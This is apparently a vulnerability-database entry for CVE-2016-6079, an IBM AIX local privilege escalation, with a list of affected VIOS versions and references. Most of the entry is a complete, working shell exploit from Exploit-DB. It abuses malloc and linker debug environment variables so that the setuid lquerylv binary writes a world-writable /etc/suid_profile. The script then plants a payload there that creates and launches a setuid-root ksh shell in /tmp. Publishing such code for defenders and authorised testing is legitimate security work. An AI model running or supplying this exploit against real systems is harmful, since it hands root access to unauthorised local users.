CVE-2016-6079
Description
IBM AIX 5.3, 6.1, 7.1, and 7.2 contains an unspecified vulnerability that would allow a locally authenticated user to obtain root level privileges. IBM APARs: IV88658, IV87981, IV88419, IV87640, IV88053.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
IBM AIX 5.3/6.1/7.1/7.2 - 'lquerylv' Local Privilege Escalation
#!/usr/bin/sh
#
# AIX lquerylv 5.3, 6.1, 7.1, 7.2 local root exploit. Tested against latest patchset (7100-04)
#
# This exploit takes advantage of known issues with debugging functions
# within the AIX linker library. We are taking advantage of known
# functionality, and focusing on badly coded SUID binaries which do not
# adhere to proper security checks prior to seteuid/open/writes.
#
# The CVEs we will be taking advantage of:
# - CVE-2009-1786: The malloc subsystem in libc in IBM AIX 5.3 and 6.1 allows
# local users to create or overwrite arbitrary files via a symlink attack on
# the log file associated with the MALLOCDEBUG environment variable.
#
# - CVE-2009-2669: A certain debugging component in IBM AIX 5.3 and 6.1 does
# not properly handle the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE
# environment variables, which allows local users to gain privileges by
# leveraging a setuid-root program to create an arbitrary root-owned file
# with world-writable permissions, related to libC.a (aka the XL C++ runtime
# library) in AIX 5.3 and libc.a in AIX 6.1.
#
# - CVE-2014-3074: Runtime Linker Allows Privilege Escalation Via Arbitrary
# File Writes In IBM AIX.
#
# In each instance of the aforementioned CVEs, IBM merely patched the binaries
# which were reported in the original reports as being used for escalation of
# the vulnerabilities. This allowed for the lquerylv binary to slip by their
# patches and become an attack vector.
#
# Blog post URL: https://rhinosecuritylabs.com/2016/11/03/unix-nostalgia-hunting-zeroday-vulnerabilities-ibm-aix/
#
# lqueryroot.sh by @hxmonsegur [2016 //RSL]
ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')
APP=$0
function usage
{
echo "Usage: $APP [1] | [2] | [3]"
echo
echo "1 - MALLOCDEBUG file write -> escalation"
echo "2 - _LIB_INIT_DBG_FILE file write -> escalation"
echo "3 - MALLOCBUCKETS file write -> escalation"
echo
echo "[lquerylv] AIX 5.3/6.1/7.1/7.2 Privilege escalation by @hxmonsegur //RSL"
exit
}
function CVE20091786
{
echo "[*] Exporting MALLOCDEBUG environment variable"
MALLOCTYPE=debug
MALLOCDEBUG=report_allocations,output:/etc/suid_profile
export MALLOCTYPE MALLOCDEBUG
}
function CVE20092669
{
echo "[*] Exporting _LIB_INIT_DBG_FILE environment variable"
_LIB_INIT_DBG=1
_LIB_INIT_DBG_FILE=/etc/suid_profile
export _LIB_INIT_DBG _LIB_INIT_DBG_FILE
}
function CVE20143074
{
echo "[*] Exporting MALLOCBUCKETS environment variable"
MALLOCOPTIONS=buckets
MALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/suid_profile
export MALLOCOPTIONS MALLOCBUCKETS
}
if [ -z "$1" ]; then
usage
exit 1
fi
while [ "$1" != "" ]; do
case $1 in
1 ) CVE20091786;;
2 ) CVE20092669;;
3 ) CVE20143074;;
* ) usage
break;;
esac
shift
done
if [ ! -x "/usr/sbin/lquerylv" ]; then
echo "[-] lquerylv isn't executable. Tough luck."
exit 1
fi
echo "[*] Setting umask to 000"
umask 000
echo "[*] Execute our vulnerable binary"
/usr/sbin/lquerylv >/dev/null 2>&1
if [ ! -e "/etc/suid_profile" ]; then
echo "[-] /etc/suid_profile does not exist and exploit failed."
exit 1
fi
echo "[*] Cleaning up /etc/suid_profile"
echo > /etc/suid_profile
echo "[*] Current id: `/usr/bin/id`"
echo "[*] Adding payload"
cat << EOF >/etc/suid_profile
cp /bin/ksh $ROOTSHELL
/usr/bin/syscall setreuid 0 0
chown root:system $ROOTSHELL
chmod 6755 $ROOTSHELL
rm /etc/suid_profile
EOF
echo "[*] Unsetting env"
unset MALLOCBUCKETS MALLOCOPTIONS _LIB_INIT_DBG_FILE _LIB_INIT_DBG MALLOCDEBUG MALLOCTYPE
echo "[*] Executing ibstat for fun and profit"
/usr/bin/ibstat -a >/dev/null 2>&1
if [ ! -e "$ROOTSHELL" ]; then
echo "[-] Rootshell does not exist and exploit failed."
exit 1
fi
echo "[*] Executing rootshell"
$ROOTSHELL
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| ibm | vios | 2.2.0.0 | |
| ibm | vios | 2.2.0.10 | |
| ibm | vios | 2.2.0.11 | |
| ibm | vios | 2.2.0.12 | |
| ibm | vios | 2.2.0.13 | |
| ibm | vios | 2.2.1.0 | |
| ibm | vios | 2.2.1.1 | |
| ibm | vios | 2.2.1.3 | |
| ibm | vios | 2.2.1.4 | |
| ibm | vios | 2.2.1.5 | |
| ibm | vios | 2.2.1.6 | |
| ibm | vios | 2.2.1.7 | |
| ibm | vios | 2.2.1.8 | |
| ibm | vios | 2.2.2.0 | |
| ibm | vios | 2.2.2.1 | |
| ibm | vios | 2.2.2.2 | |
| ibm | vios | 2.2.2.3 | |
| ibm | vios | 2.2.2.4 | |
| ibm | vios | 2.2.2.6 | |
| ibm | vios | 2.2.2.70 | |
| ibm | vios | 2.2.3.0 | |
| ibm | vios | 2.2.3.1 | |
| ibm | vios | 2.2.3.2 | |
| ibm | vios | 2.2.3.3 | |
| ibm | vios | 2.2.3.4 | |
| ibm | vios | 2.2.3.50 | |
| ibm | vios | 2.2.3.51 | |
| ibm | vios | 2.2.3.52 | |
| ibm | vios | 2.2.3.60 | |
| ibm | vios | 2.2.3.70 | |
| ibm | vios | 2.2.3.80 | |
| ibm | vios | 2.2.4.0 | |
| ibm | vios | 2.2.4.10 | |
| ibm | vios | 2.2.4.21 | |
| ibm | vios | 2.2.4.22 | |
| ibm | vios | 2.2.4.23 | |
| ibm | vios | 2.2.4.30 | |
| ibm | vios | 2.2.5.0 | |
| ibm | vios | 2.2.5.10 | |
References
- http://aix.software.ibm.com/aix/efixes/security/lquerylv_advisory.asc
- http://www.securityfocus.com/bid/94090
- http://www.securitytracker.com/id/1037256
- https://www.exploit-db.com/exploits/40710/
- http://aix.software.ibm.com/aix/efixes/security/lquerylv_advisory.asc
- http://www.securityfocus.com/bid/94090
- http://www.securitytracker.com/id/1037256
- https://www.exploit-db.com/exploits/40710/
CWEs
CWE-264
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.